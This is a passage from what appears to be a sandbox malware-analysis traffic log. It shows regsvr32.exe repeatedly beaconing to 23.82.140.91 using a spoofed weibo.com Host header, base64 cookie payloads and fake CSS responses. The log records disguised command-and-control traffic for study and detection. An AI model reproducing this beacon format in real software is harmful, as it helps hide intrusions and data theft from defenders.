hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:39 UTC 1202 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:39 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:39 UTC 1202 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

76 192.168.2.6 49898 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:40 UTC 1204 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:41 UTC 1205 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:40 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:41 UTC 1205 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

77 192.168.2.6 49901 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:42 UTC 1207 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:43 UTC 1207 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:42 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:43 UTC 1207 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

78 192.168.2.6 49905 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:43 UTC 1209 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:43 UTC 1210 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:43 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:43 UTC 1210 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

79 192.168.2.6 49908 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:43 UTC 1212 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:44 UTC 1212 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:44 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:44 UTC 1212 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

8 192.168.2.6 49769 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:17 UTC 1034 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:17 UTC 1034 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:17 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:17 UTC 1035 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

80 192.168.2.6 49915 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:45 UTC 1214 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:45 UTC 1215 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:45 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:45 UTC 1215 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

81 192.168.2.6 49926 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:47 UTC 1217 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:48 UTC 1218 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:47 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:48 UTC 1218 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

82 192.168.2.6 49927 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:47 UTC 1217 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:48 UTC 1220 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:48 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:48 UTC 1221 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

83 192.168.2.6 49928 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:48 UTC 1220 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:48 UTC 1222 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:48 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:48 UTC 1223 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

84 192.168.2.6 49932 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:51 UTC 1224 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
